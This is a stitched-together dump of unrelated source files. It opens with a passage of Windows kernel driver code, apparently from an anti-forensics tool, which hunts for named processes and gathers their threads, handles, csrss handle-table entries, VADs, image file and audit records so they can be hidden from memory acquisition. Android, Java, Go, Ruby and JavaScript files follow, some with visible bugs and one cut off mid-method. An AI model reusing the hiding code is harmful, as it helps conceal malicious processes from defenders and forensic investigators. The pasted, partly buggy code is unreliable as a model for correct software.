PULONG_PTR pPID = NULL;
do
{
// obtain ImageFileName and PID members from the current EPROCESS structure
szProcessName = (PCHAR) SYMW_MEMBER_FROM_OFFSET(SYMW_MEMBER_FROM_OFFSET(pProcListEntry, 0, uEPROCActiveProcessLinksOffset), uEPROCImageFileNameOffset, 0);
pPID = (PULONG_PTR) SYMW_MEMBER_FROM_OFFSET(SYMW_MEMBER_FROM_OFFSET(pProcListEntry, 0, uEPROCActiveProcessLinksOffset), uEPROCUniqueProcessIdOffset, 0);
// compare only 16 bytes -- this is the length of ImageFileName field inside EPROCESS structure
if(PhpProcessNamesEqual(szTargetProcName, szProcessName))
{
// if target process has been found, add it to the target array
PEPROCESS pTargetProc = (PEPROCESS) SYMW_MEMBER_FROM_OFFSET(pProcListEntry, 0, uEPROCActiveProcessLinksOffset);
// lock the process and unlock it after all addresses to be hidden have been collected
//PhpLockProcess(pTargetProc);
KdPrint(("[DEBUG] Found process %s with PID = %d. EPROCESS @ 0x%p\n", szProcessName, *pPID, pTargetProc));
*((PEPROCESS *) pTargetProcessesPointerArray + uTargetProcessCount) = pTargetProc;
uTargetProcessCount++;
// check if there is no space left in the buffer and reallocate it if needed
if(uTargetProcessCount == uArraySize)
{
// increase array size for 100 more processes
pTargetProcessesPointerArray = PhpRealloc( pTargetProcessesPointerArray,
uArraySize * sizeof(PEPROCESS),
uArraySize * sizeof(PEPROCESS) + 100,
NonPagedPool);
uArraySize += 100;
}
}
// move to the next entry in the process table list
pProcListEntry = pProcListEntry->Flink;
} while(pProcListEntry != pProcListStart);
PhpReleaseProcessListProtection();
// if no target processes have been found, notify the caller
if(uTargetProcessCount == 0)
{
*puTargetProcessCount = 0;
// release the memory
ExFreePoolWithTag(pTargetProcessesPointerArray, TAG_TARGET_PEPROCESS_ARRAY);
return NULL;
}
*puTargetProcessCount = uTargetProcessCount;
return (PEPROCESS *) pTargetProcessesPointerArray;
}
BOOLEAN PhpAddTargetProcesses(const IN PEPROCESS *pTargetProcessArray, const IN ULONG uTargetProcessCount, const IN PTARGET_OBJECT pTargetObject)
{
ASSERTMSG("Passed pointer to PEPROCESS array is NULL", pTargetProcessArray != NULL);
ASSERTMSG("Number of target processes is zero - are you sure this is OK?", uTargetProcessCount != 0);
ASSERTMSG("Passed pointer to target object is NULL", pTargetObject != NULL);
BOOLEAN bRet = TRUE;
// traverse the entire list and add processes to the internal list
for(ULONG i = 0; i < uTargetProcessCount; i++)
{
bRet &= PhpAddTargetProcessToList(pTargetProcessArray[i], pTargetObject);
}
return bRet;
}
BOOLEAN PhpAddTargetProcessToList(const IN PEPROCESS pTargetProcess, const IN PTARGET_OBJECT pTargetObject)
{
ASSERTMSG("Passed pointer to EPROCESS block is NULL", pTargetProcess != NULL);
ASSERTMSG("Passed pointer to target object is NULL", pTargetObject != NULL);
PPROC_HIDE pTargetProcessEntry = (PPROC_HIDE) ExAllocateFromNPagedLookasideList(&TargetProcessLookasideList);
if(pTargetProcessEntry == NULL)
{
KdPrint(("[DEBUG] ERROR - Not enough memory in lookaside list to allocate new target process entry...\n"));
return FALSE;
}
// add new entry to the list (thread-safely)
pTargetProcessEntry->pEPROCESS = pTargetProcess;
// copy entire target object - this ensures that all members will be copied, even if they are changed inside header files
RtlCopyMemory(&pTargetProcessEntry->targetObject, pTargetObject, sizeof(TARGET_OBJECT));
ASSERTMSG("Fast mutex acquire/release must occur at or below APC_LEVEL", KeGetCurrentIrql() <= APC_LEVEL);
ExAcquireFastMutex(&TargetProcessListMutex);
InsertHeadList(&TargetProcessListHead, &pTargetProcessEntry->ListEntry);
ExReleaseFastMutex(&TargetProcessListMutex);
return TRUE;
}
BOOLEAN PhpHideThreads(IN OUT PSORTED_LIST pList, const IN PEPROCESS pTargetProcess, const IN BOOLEAN bDeleteThreadHandle)
{
ASSERTMSG("Passed pointer to hide list is NULL", pList != NULL);
ASSERTMSG("Passed pointer to target process is NULL", pTargetProcess != NULL);
ASSERTMSG("PsGetNextProcessThread must occur at or below APC_LEVEL", KeGetCurrentIrql() <= APC_LEVEL);
BOOLEAN bRet = TRUE;
// get first process thread
PETHREAD pThread = PhpPsGetNextProcessThread(pTargetProcess, NULL);
while (pThread)
{
KdPrint(("[DEBUG] Found thread @ 0x%x -- hiding data...\n", pThread));
// hide thread allocation and other data (thread handles inside PspCidTable if specified by the user-mode program (default: yes))
bRet = ThFindHideAddreses(pList, pThread, bDeleteThreadHandle);
pThread = PhpPsGetNextProcessThread(pTargetProcess, pThread);
}
return bRet;
}
BOOLEAN PhpHideHandles(IN OUT PSORTED_LIST pList, const IN PEPROCESS pTargetProcess)
{
ASSERTMSG("Passed pointer to hide list is NULL", pList != NULL);
ASSERTMSG("Passed pointer to target process is NULL", pTargetProcess != NULL);
BOOLEAN bRet = TRUE;
HANDLE hPID = *((PHANDLE) SYMW_MEMBER_FROM_OFFSET(pTargetProcess, uEPROCUniqueProcessIdOffset, 0));
// hide process handle table, modify all open handles and fix the entries in the PspCidTable
bRet = OhHideTargetProcessHandleTable(pList, pTargetProcess) &&
OhHideProcessHandles(pList, pTargetProcess) &&
OhHidePspCidTableHandle(pList, hPID, pTargetProcess);
// additionally, remove the entry from the csrss handle table that points to our target process
ULONG uTargetProcessCount = 0;
PEPROCESS *pTargetProcessArray = PhpFindTargetProcesses("csrss.exe", &uTargetProcessCount);
// if the call failed, exit
if(pTargetProcessArray == NULL)
{
KdPrint(("[DEBUG] WARNING - Could not obtain pointer to csrss.exe process - handles inside the csrss handle table won't be hidden...\n"));
return FALSE;
}
for(ULONG i = 0; i < uTargetProcessCount; i++)
{
// hide csrss handle table entries
bRet &= OhHideCsrssProcessHandles(pList, pTargetProcessArray[i], pTargetProcess);
}
// delete memory allocated for the process array
ExFreePoolWithTag(pTargetProcessArray, TAG_TARGET_PEPROCESS_ARRAY);
return bRet;
}
BOOLEAN PhpHideImageFile(IN OUT PSORTED_LIST pList, const IN PEPROCESS pTargetProcess)
{
ASSERTMSG("Passed pointer to hide list is NULL", pList != NULL);
ASSERTMSG("Passed pointer to target process is NULL", pTargetProcess != NULL);
PFILE_OBJECT pFileObject = NULL;
if(pPsReferenceProcessFilePointer == NULL)
{
KdPrint(("[DEBUG] WARNING - PsReferenceProcessFilePointer function is not initialized - cannot hide process image file object...\n"));
return FALSE;
}
if(!NT_SUCCESS(pPsReferenceProcessFilePointer(pTargetProcess, &pFileObject)))
{
KdPrint(("[DEBUG] WARNING - PsReferenceProcessFilePointer failed - cannot hide process image file object...\n"));
return FALSE;
}
KdPrint(("[DEBUG] Found image file object @ %p -- hiding data...\n", pFileObject));
BOOLEAN bRet = FhFindHideAddreses(pList, pFileObject);
// must dereference the file object - otherwise a pointer to the object would still be visible, but from Dementia process:)
ObDereferenceObject(pFileObject);
return bRet;
}
BOOLEAN PhpHideProcessJob(IN OUT PSORTED_LIST pList, const IN PEPROCESS pTargetProcess)
{
ASSERTMSG("Passed pointer to hide list is NULL", pList != NULL);
ASSERTMSG("Passed pointer to target process is NULL", pTargetProcess != NULL);
BOOLEAN bRet = TRUE;
PVOID pJob = (PVOID) *((PULONG_PTR) SYMW_MEMBER_FROM_OFFSET(pTargetProcess, uEPROCJobOffset, 0));
// job hiding will be performed only if job exists
if(pJob != NULL)
{
// TODO!!!!!
}
return bRet;
}
BOOLEAN PhpHideProcessVads(IN OUT PSORTED_LIST pList, const IN PEPROCESS pTargetProcess)
{
ASSERTMSG("Passed pointer to hide list is NULL", pList != NULL);
ASSERTMSG("Passed pointer to target process is NULL", pTargetProcess != NULL);
BOOLEAN bRet = TRUE;
PVOID pVadRoot = NULL;
// on Vista and above VadRoot is actually a MM_AVL_TABLE structure, NOT a pointer!
if(WinGetMajorVersion() >= 6)
{
pVadRoot = (PVOID) SYMW_MEMBER_FROM_OFFSET(pTargetProcess, uEPROCVadRootOffset, 0);
}
else
{
// on Windows XP and below, VadRoot is pointer to MM_VAD
pVadRoot = (PVOID) *((PULONG_PTR) SYMW_MEMBER_FROM_OFFSET(pTargetProcess, uEPROCVadRootOffset, 0));
}
PVOID pProcessSectionBase = (PVOID) *((PULONG_PTR) SYMW_MEMBER_FROM_OFFSET(pTargetProcess, uEPROCSectionBaseAddressOffset, 0));
// check if VAD root pointer is valid, and perform hiding of VADs
if(pVadRoot != NULL)
{
bRet = VADhFindHideAddreses(pList, pVadRoot, pTargetProcess, pProcessSectionBase);
}
return bRet;
}
BOOLEAN PhpHideProcessAuditingInfo(IN OUT PSORTED_LIST pList, const IN PEPROCESS pTargetProcess)
{
ASSERTMSG("Passed pointer to hide list is NULL", pList != NULL);
ASSERTMSG("Passed pointer to target process is NULL", pTargetProcess != NULL);
PVOID pImageFileName = (PVOID) *((PULONG_PTR) SYMW_MEMBER_FROM_OFFSET(pTargetProcess, uEPROCSeAuditProcessCreationInfoOffset, 0));
BOOLEAN bRet = TRUE;
// check if process auditing is enabled
if(pImageFileName != NULL)
{
KdPrint(("[DEBUG] Process auditing info found @ 0x%x\n", (ULONG) pImageFileName));
GhAddUnicodeStringAddress(pList, pImageFileName);
// delete the entire allocation - this deletion also wipes-out the UNICODE_STRING - previous call is technically unnecessary
ULONG uAllocationTag = 0;
if(WinGetMajorVersion() >= 6)
{
// on Vista and above allocation tag is 'SeOn' - 0x6e4f6553 (hex)
uAllocationTag = 0x6e4f6553;
}
else
{
// below Vista, allocation tag is 'SePa' - 0x61506553 (hex)
uAllocationTag = 0x61506553;
}
bRet = AhAddAllocation(pList, pImageFileName, uAllocationTag);
}
return bRet;
}
BOOLEAN PhpProcessNamesEqual(IN PCHAR szProcName1, IN PCHAR szProcName2)
{
// max size is 16 - this is the length of ImageFileName field inside EPROCESS structure
ULONG uMaxSize = 16;
while(uMaxSize--)
{
// if characters differ, return false
if(*szProcName1 != *szProcName2)
{
return FALSE;
}
// if both characters are NUL, end of the string occurred
if(*szProcName1 == '\0')
{
return TRUE;
}
++szProcName1;
++szProcName2;
}
// all 16 bytes are equal but none is NUL - return TRUE anyway
return TRUE;
}
PVOID PhpRealloc(IN PVOID pInputBuffer, const IN ULONG uOldSize, const IN ULONG uNewSize, const IN POOL_TYPE poolType)
{
ASSERTMSG("Input buffer must not be NULL!", pInputBuffer != NULL);
PVOID pOutputBuffer = ExAllocatePoolWithTag(poolType, uNewSize, TAG_TARGET_PEPROCESS_ARRAY);
if(pOutputBuffer == NULL)
{
KdPrint(("[DEBUG] ERROR - Error while trying to reallocate buffer and allocate memory for the new (copy) buffer\n"));
return pOutputBuffer;
}
// zero-out the buffer
RtlZeroMemory(pOutputBuffer, uNewSize);
// copy bytes from the input buffer, but take care not to overflow any of the specified buffers!
ULONG uCopySize = (uNewSize > uOldSize) ? uOldSize : uNewSize;
RtlCopyMemory(pOutputBuffer, pInputBuffer, uOldSize);
ExFreePoolWithTag(pInputBuffer, TAG_TARGET_PEPROCESS_ARRAY);
return pOutputBuffer;
} |
LucianoRomero1/Sigtea | web/bundles/js/expendioCombustible/formulario6.js | <reponame>LucianoRomero1/Sigtea<filename>web/bundles/js/expendioCombustible/formulario6.js
function agregarFilaAgua(tipo){
if(tipo == 'aguapublica'){
$("#filas"+tipo).append(`
<tr>
<td><input type="text" name="AguaPublica[nombre][]" /></td>
<td><input type="text" name="AguaPublica[consumo][]" /></td>
<td>
<select name="AguaPublica[unidad][]">
<option>litros</option>
<option>m3</option>
</select>
</td>
<td>
<select name="AguaPublica[tiempo][]">
<option>minuto</option>
<option>hora</option>
<option>día</option>
<option>mes</option>
</select>
</td>
<a onClick="eliminarFila(this)" class="btn text-danger"><i class="far fa-trash-alt"></i></a></td>
</tr>
`
);
}else{
$("#filas"+tipo).append(`
<tr>
<td><input type="number" name="AguaSubterranea[nroPerforacion][]" step="1" min="1"/></td>
<td><input type="text" name="AguaSubterranea[ubicacion][]" /></td>
<td><input type="text" name="AguaSubterranea[consumo][]" /></td>
<td>
<select name="AguaSubterranea[unidad][]">
<option>litros</option>
<option>m3</option>
</select>
</td>
<td>
<select name="AguaSubterranea[tiempo][]">
<option>minuto</option>
<option>hora</option>
<option>día</option>
<option>mes</option>
</select>
</td>
<a onClick="eliminarFila(this)" class="btn text-danger"><i class="far fa-trash-alt"></i></a></td>
</tr>
`
);
}
}
function agregarFilaElectrica(tipo){
if (tipo == 'electricapublica'){
$("#filas"+tipo).append(`
<tr>
<td><input type="text" name="EnergiaAdquirida[nombre][]" /></td>
<td><input type="text" name="EnergiaAdquirida[consumo][]" /></td>
<a onClick="eliminarFila(this)" class="btn text-danger"><i class="far fa-trash-alt"></i></a></td>
</tr>
`
);
}else{
$("#filas"+tipo).append(`
<tr>
<td><textarea name="OtroRecurso[tipo][]" cols="120" rows="3"></textarea></td>
<a onClick="eliminarFila(this)" class="btn text-danger"><i class="far fa-trash-alt"></i></a></td>
</tr>
`
);
}
}
function eliminarFila(fila,id = null,entidad = null){
if(id==null){
$.ajax({
url: "eliminarRegistroEntidad",
method: "POST",
dataType: 'json',
data: {
id : id,
entidad : entidad
},
success: function(data){
fila.closest('tr').remove();
},
error: function(data){
alert("Error al borrar el registro");
},
})
}else{
fila.closest('tr').remove();
}
} |
volcengine/VEVodDemo-android | app/src/main/java/com/bytedance/volc/voddemo/utils/WeakHandler.java | <reponame>volcengine/VEVodDemo-android<gh_stars>1-10
/*
* Copyright 2021 bytedance
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*
* Create Date : 2021/2/24
*/
package com.bytedance.volc.voddemo.utils;
import android.os.Handler;
import android.os.Looper;
import android.os.Message;
import java.lang.ref.WeakReference;
public class WeakHandler extends Handler {
public interface IHandler {
public void handleMsg(Message msg);
}
WeakReference<IHandler> mRef;
public WeakHandler(IHandler handler) {
this(Looper.myLooper() == null ? Looper.getMainLooper() : Looper.myLooper(), handler);
}
public WeakHandler(Looper looper, IHandler handler) {
super(looper);
mRef = new WeakReference<IHandler>(handler);
}
@Override
public void handleMessage(Message msg) {
IHandler handler = mRef.get();
if (handler != null && msg != null)
handler.handleMsg(msg);
}
} |
glahiru/airavata-1 | modules/app-catalog/app-catalog-data/src/main/java/org/apache/aiaravata/application/catalog/data/resources/AppDeploymentResource.java | /*
*
* Licensed to the Apache Software Foundation (ASF) under one
* or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information
* regarding copyright ownership. The ASF licenses this file
* to you under the Apache License, Version 2.0 (the
* "License"); you may not use this file except in compliance
* with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing,
* software distributed under the License is distributed on an
* "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
* KIND, either express or implied. See the License for the
* specific language governing permissions and limitations
* under the License.
*
*/
package org.apache.aiaravata.application.catalog.data.resources;
import org.airavata.appcatalog.cpi.AppCatalogException;
import org.apache.aiaravata.application.catalog.data.model.ApplicationDeployment;
import org.apache.aiaravata.application.catalog.data.model.ApplicationModule;
import org.apache.aiaravata.application.catalog.data.model.ComputeResource;
import org.apache.aiaravata.application.catalog.data.util.AppCatalogJPAUtils;
import org.apache.aiaravata.application.catalog.data.util.AppCatalogQueryGenerator;
import org.apache.aiaravata.application.catalog.data.util.AppCatalogResourceType;
import org.apache.airavata.common.exception.ApplicationSettingsException;
import org.apache.airavata.common.utils.AiravataUtils;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import javax.persistence.EntityManager;
import javax.persistence.Query;
import java.sql.Timestamp;
import java.util.ArrayList;
import java.util.List;
public class AppDeploymentResource extends AbstractResource {
private final static Logger logger = LoggerFactory.getLogger(AppDeploymentResource.class);
private String deploymentId;
private String appModuleId;
private String hostId;
private String executablePath;
private String parallelism;
private String appDes;
private ComputeResourceResource hostResource;
private AppModuleResource moduleResource;
private Timestamp createdTime;
private Timestamp updatedTime;
public Timestamp getCreatedTime() {
return createdTime;
}
public void setCreatedTime(Timestamp createdTime) {
this.createdTime = createdTime;
}
public Timestamp getUpdatedTime() {
return updatedTime;
}
public void setUpdatedTime(Timestamp updatedTime) {
this.updatedTime = updatedTime;
}
public String getDeploymentId() {
return deploymentId;
}
public void setDeploymentId(String deploymentId) {
this.deploymentId = deploymentId;
}
public String getAppModuleId() {
return appModuleId;
}
public void setAppModuleId(String appModuleId) {
this.appModuleId = appModuleId;
}
public String getHostId() {
return hostId;
}
public void setHostId(String hostId) {
this.hostId = hostId;
}
public String getExecutablePath() {
return executablePath;
}
public void setExecutablePath(String executablePath) {
this.executablePath = executablePath;
}
public String getAppDes() {
return appDes;
}
public void setAppDes(String appDes) {
this.appDes = appDes;
}
public ComputeResourceResource getHostResource() {
return hostResource;
}
public void setHostResource(ComputeResourceResource hostResource) {
this.hostResource = hostResource;
}
public AppModuleResource getModuleResource() {
return moduleResource;
}
public void setModuleResource(AppModuleResource moduleResource) {
this.moduleResource = moduleResource;
}
@Override
public void remove(Object identifier) throws AppCatalogException {
EntityManager em = null;
try {
em = AppCatalogJPAUtils.getEntityManager();
em.getTransaction().begin();
AppCatalogQueryGenerator generator= new AppCatalogQueryGenerator(APPLICATION_DEPLOYMENT);
generator.setParameter(ApplicationDeploymentConstants.DEPLOYMENT_ID, identifier);
Query q = generator.deleteQuery(em);
q.executeUpdate();
em.getTransaction().commit();
em.close();
} catch (ApplicationSettingsException e) {
logger.error(e.getMessage(), e);
throw new AppCatalogException(e);
} finally {
if (em != null && em.isOpen()) {
if (em.getTransaction().isActive()){
em.getTransaction().rollback();
}
em.close();
}
}
}
@Override
public Resource get(Object identifier) throws AppCatalogException {
EntityManager em = null;
try {
em = AppCatalogJPAUtils.getEntityManager();
em.getTransaction().begin();
AppCatalogQueryGenerator generator = new AppCatalogQueryGenerator(APPLICATION_DEPLOYMENT);
generator.setParameter(ApplicationDeploymentConstants.DEPLOYMENT_ID, identifier);
Query q = generator.selectQuery(em);
ApplicationDeployment deployment = (ApplicationDeployment) q.getSingleResult();
AppDeploymentResource deploymentResource =
(AppDeploymentResource) AppCatalogJPAUtils.getResource(AppCatalogResourceType.APPLICATION_DEPLOYMENT, deployment);
em.getTransaction().commit();
em.close();
return deploymentResource;
} catch (ApplicationSettingsException e) {
logger.error(e.getMessage(), e);
throw new AppCatalogException(e);
} finally {
if (em != null && em.isOpen()) {
if (em.getTransaction().isActive()) {
em.getTransaction().rollback();
}
em.close();
}
}
}
@Override
public List<Resource> get(String fieldName, Object value) throws AppCatalogException {
List<Resource> appDeployments = new ArrayList<Resource>();
EntityManager em = null;
try {
em = AppCatalogJPAUtils.getEntityManager();
em.getTransaction().begin();
Query q;
AppCatalogQueryGenerator generator = new AppCatalogQueryGenerator(APPLICATION_DEPLOYMENT);
List results;
if (fieldName.equals(ApplicationDeploymentConstants.APP_MODULE_ID)) {
generator.setParameter(ApplicationDeploymentConstants.APP_MODULE_ID, value);
q = generator.selectQuery(em);
results = q.getResultList();
if (results.size() != 0) {
for (Object result : results) {
ApplicationDeployment deployment = (ApplicationDeployment) result;
AppDeploymentResource deploymentResource =
(AppDeploymentResource) AppCatalogJPAUtils.getResource(AppCatalogResourceType.APPLICATION_DEPLOYMENT, deployment);
appDeployments.add(deploymentResource);
}
}
} else if (fieldName.equals(ApplicationDeploymentConstants.COMPUTE_HOST_ID)) {
generator.setParameter(ApplicationDeploymentConstants.COMPUTE_HOST_ID, value);
q = generator.selectQuery(em);
results = q.getResultList();
if (results.size() != 0) {
for (Object result : results) {
ApplicationDeployment deployment = (ApplicationDeployment) result;
AppDeploymentResource deploymentResource =
(AppDeploymentResource) AppCatalogJPAUtils.getResource(AppCatalogResourceType.APPLICATION_DEPLOYMENT, deployment);
appDeployments.add(deploymentResource);
}
}
}else {
em.getTransaction().commit();
em.close();
logger.error("Unsupported field name for app deployment resource.", new IllegalArgumentException());
throw new IllegalArgumentException("Unsupported field name for app deployment resource.");
}
em.getTransaction().commit();
em.close();
} catch (Exception e) {
logger.error(e.getMessage(), e);
throw new AppCatalogException(e);
} finally {
if (em != null && em.isOpen()) {
if (em.getTransaction().isActive()) {
em.getTransaction().rollback();
}
em.close();
}
}
return appDeployments;
}
@Override
public List<Resource> getAll() throws AppCatalogException {
List<Resource> appDeployments = new ArrayList<Resource>();
EntityManager em = null;
try {
em = AppCatalogJPAUtils.getEntityManager();
em.getTransaction().begin();
AppCatalogQueryGenerator generator = new AppCatalogQueryGenerator(APPLICATION_DEPLOYMENT);
Query q = generator.selectQuery(em);
List results = q.getResultList();
if (results.size() != 0) {
for (Object result : results) {
ApplicationDeployment deployment = (ApplicationDeployment) result;
AppDeploymentResource deploymentResource =
(AppDeploymentResource) AppCatalogJPAUtils.getResource(AppCatalogResourceType.APPLICATION_DEPLOYMENT, deployment);
appDeployments.add(deploymentResource);
}
}
em.getTransaction().commit();
em.close();
} catch (Exception e) {
logger.error(e.getMessage(), e);
throw new AppCatalogException(e);
} finally {
if (em != null && em.isOpen()) {
if (em.getTransaction().isActive()) {
em.getTransaction().rollback();
}
em.close();
}
}
return appDeployments;
}
@Override
public List<String> getAllIds() throws AppCatalogException {
List<String> appDeployments = new ArrayList<String>();
EntityManager em = null;
try {
em = AppCatalogJPAUtils.getEntityManager();
em.getTransaction().begin();
AppCatalogQueryGenerator generator = new AppCatalogQueryGenerator(APPLICATION_DEPLOYMENT);
Query q = generator.selectQuery(em);
List results = q.getResultList();
if (results.size() != 0) {
for (Object result : results) {
ApplicationDeployment deployment = (ApplicationDeployment) result;
appDeployments.add(deployment.getDeploymentID());
}
}
em.getTransaction().commit();
em.close();
} catch (Exception e) {
logger.error(e.getMessage(), e);
throw new AppCatalogException(e);
} finally {
if (em != null && em.isOpen()) {
if (em.getTransaction().isActive()) {
em.getTransaction().rollback();
}
em.close();
}
}
return appDeployments;
}
@Override
public List<String> getIds(String fieldName, Object value) throws AppCatalogException {
List<String> appDeployments = new ArrayList<String>();
EntityManager em = null;
try {
em = AppCatalogJPAUtils.getEntityManager();
em.getTransaction().begin();
Query q;
AppCatalogQueryGenerator generator = new AppCatalogQueryGenerator(APPLICATION_DEPLOYMENT);
List results;
if (fieldName.equals(ApplicationDeploymentConstants.APP_MODULE_ID)) {
generator.setParameter(ApplicationDeploymentConstants.APP_MODULE_ID, value);
q = generator.selectQuery(em);
results = q.getResultList();
if (results.size() != 0) {
for (Object result : results) {
ApplicationDeployment deployment = (ApplicationDeployment) result;
appDeployments.add(deployment.getDeploymentID());
}
}
} else if (fieldName.equals(ApplicationDeploymentConstants.COMPUTE_HOST_ID)) {
generator.setParameter(ApplicationDeploymentConstants.COMPUTE_HOST_ID, value);
q = generator.selectQuery(em);
results = q.getResultList();
if (results.size() != 0) {
for (Object result : results) {
ApplicationDeployment deployment = (ApplicationDeployment) result;
appDeployments.add(deployment.getDeploymentID());
}
}
}else {
em.getTransaction().commit();
em.close();
logger.error("Unsupported field name for app deployment resource.", new IllegalArgumentException());
throw new IllegalArgumentException("Unsupported field name for app deployment resource.");
}
em.getTransaction().commit();
em.close();
} catch (Exception e) {
logger.error(e.getMessage(), e);
throw new AppCatalogException(e);
} finally {
if (em != null && em.isOpen()) {
if (em.getTransaction().isActive()) {
em.getTransaction().rollback();
}
em.close();
}
}
return appDeployments;
}
@Override
public void save() throws AppCatalogException {
EntityManager em = null;
try {
em = AppCatalogJPAUtils.getEntityManager();
ApplicationDeployment existingDeployment = em.find(ApplicationDeployment.class, deploymentId);
em.close();
em = AppCatalogJPAUtils.getEntityManager();
em.getTransaction().begin();
ApplicationModule applicationModule = em.find(ApplicationModule.class, appModuleId);
ComputeResource computeHost = em.find(ComputeResource.class, hostId);
if (existingDeployment != null){
existingDeployment.setDeploymentID(deploymentId);
existingDeployment.setApplicationDesc(appDes);
existingDeployment.setAppModuleID(appModuleId);
existingDeployment.setApplicationModule(applicationModule);
existingDeployment.setComputeResource(computeHost);
existingDeployment.setHostID(hostId);
existingDeployment.setExecutablePath(executablePath);
existingDeployment.setParallelism(parallelism);
existingDeployment.setUpdateTime(AiravataUtils.getCurrentTimestamp());
em.merge(existingDeployment);
}else {
ApplicationDeployment deployment = new ApplicationDeployment();
deployment.setApplicationDesc(appDes);
deployment.setDeploymentID(deploymentId);
deployment.setAppModuleID(appModuleId);
deployment.setHostID(hostId);
deployment.setApplicationModule(applicationModule);
deployment.setComputeResource(computeHost);
deployment.setExecutablePath(executablePath);
deployment.setParallelism(parallelism);
deployment.setCreationTime(AiravataUtils.getCurrentTimestamp());
em.persist(deployment);
}
em.getTransaction().commit();
em.close();
} catch (Exception e) {
logger.error(e.getMessage(), e);
throw new AppCatalogException(e);
} finally {
if (em != null && em.isOpen()) {
if (em.getTransaction().isActive()){
em.getTransaction().rollback();
}
em.close();
}
}
}
@Override
public boolean isExists(Object identifier) throws AppCatalogException {
EntityManager em = null;
try {
em = AppCatalogJPAUtils.getEntityManager();
ApplicationDeployment deployment = em.find(ApplicationDeployment.class, identifier);
em.close();
return deployment != null;
} catch (ApplicationSettingsException e) {
logger.error(e.getMessage(), e);
throw new AppCatalogException(e);
} finally {
if (em != null && em.isOpen()) {
if (em.getTransaction().isActive()){
em.getTransaction().rollback();
}
em.close();
}
}
}
public String getParallelism() {
return parallelism;
}
public void setParallelism(String parallelism) {
this.parallelism = parallelism;
}
}
|
changkun/gio | widget/widget_test.go | // SPDX-License-Identifier: Unlicense OR MIT
package widget_test
import (
"image"
"testing"
"gioui.org/f32"
"gioui.org/io/pointer"
"gioui.org/io/router"
"gioui.org/io/semantic"
"gioui.org/io/system"
"gioui.org/layout"
"gioui.org/op"
"gioui.org/widget"
)
func TestBool(t *testing.T) {
var (
ops op.Ops
r router.Router
b widget.Bool
)
gtx := layout.NewContext(&ops, system.FrameEvent{Queue: &r})
layout := func() {
b.Layout(gtx, func(gtx layout.Context) layout.Dimensions {
semantic.CheckBox.Add(gtx.Ops)
semantic.DescriptionOp("description").Add(gtx.Ops)
return layout.Dimensions{Size: image.Pt(100, 100)}
})
}
layout()
r.Frame(gtx.Ops)
r.Queue(
pointer.Event{
Source: pointer.Touch,
Type: pointer.Press,
Position: f32.Pt(50, 50),
},
pointer.Event{
Source: pointer.Touch,
Type: pointer.Release,
Position: f32.Pt(50, 50),
},
)
ops.Reset()
layout()
r.Frame(gtx.Ops)
tree := r.AppendSemantics(nil)
n := tree[0].Children[0].Desc
if n.Description != "description" {
t.Errorf("unexpected semantic description: %s", n.Description)
}
if n.Class != semantic.CheckBox {
t.Errorf("unexpected semantic class: %v", n.Class)
}
if !b.Value || !n.Selected {
t.Error("click did not select")
}
}
|
dkubb/axiom | spec/unit/axiom/relation/empty/each_spec.rb | <reponame>dkubb/axiom
# encoding: utf-8
require 'spec_helper'
describe Relation::Empty, '#each' do
subject { object.each { |tuple| yields << tuple } }
let(:object) { described_class.new(header) }
let(:header) { [[:id, Integer]] }
let(:yields) { [] }
it_should_behave_like 'an #each method'
it 'yields no tuples' do
subject
expect(yields).to be_empty
end
end
|
brunnot/camel | components/camel-consul/src/main/java/org/apache/camel/component/consul/AbstractConsulProducer.java | /**
* Licensed to the Apache Software Foundation (ASF) under one or more
* contributor license agreements. See the NOTICE file distributed with
* this work for additional information regarding copyright ownership.
* The ASF licenses this file to You under the Apache License, Version 2.0
* (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.apache.camel.component.consul;
import java.util.function.Function;
import com.orbitz.consul.Consul;
import org.apache.camel.Message;
import org.apache.camel.NoSuchHeaderException;
import org.apache.camel.Processor;
import org.apache.camel.impl.HeaderSelectorProducer;
public abstract class AbstractConsulProducer<C> extends HeaderSelectorProducer {
private final ConsulEndpoint endpoint;
private final ConsulConfiguration configuration;
private final Function<Consul, C> clientSupplier;
private C client;
protected AbstractConsulProducer(ConsulEndpoint endpoint, ConsulConfiguration configuration, Function<Consul, C> clientSupplier) {
super(endpoint, ConsulConstants.CONSUL_ACTION, configuration.getAction());
this.endpoint = endpoint;
this.configuration = configuration;
this.clientSupplier = clientSupplier;
this.client = null;
}
// *************************************************************************
//
// *************************************************************************
protected Consul getConsul() throws Exception {
return endpoint.getConsul();
}
protected C getClient() throws Exception {
if (client == null) {
client = clientSupplier.apply(getConsul());
}
return client;
}
protected ConsulConfiguration getConfiguration() {
return configuration;
}
protected <D> D getHeader(Message message, String header, D defaultValue, Class<D> type) {
return message.getHeader(header, defaultValue, type);
}
protected <D> D getMandatoryHeader(Message message, String header, Class<D> type) throws Exception {
return getMandatoryHeader(message, header, null, type);
}
protected <D> D getMandatoryHeader(Message message, String header, D defaultValue, Class<D> type) throws Exception {
D value = getHeader(message, header, defaultValue, type);
if (value == null) {
throw new NoSuchHeaderException(message.getExchange(), header, type);
}
return value;
}
protected String getKey(Message message) {
return message.getHeader(
ConsulConstants.CONSUL_KEY,
configuration.getKey(),
String.class);
}
protected String getMandatoryKey(Message message) throws Exception {
return getMandatoryHeader(
message,
ConsulConstants.CONSUL_KEY,
configuration.getKey(),
String.class);
}
protected <T> T getOption(Message message, T defaultValue, Class<T> type) {
return message.getHeader(ConsulConstants.CONSUL_OPTIONS, defaultValue, type);
}
protected boolean isValueAsString(Message message) throws Exception {
return message.getHeader(
ConsulConstants.CONSUL_VALUE_AS_STRING,
configuration.isValueAsString(),
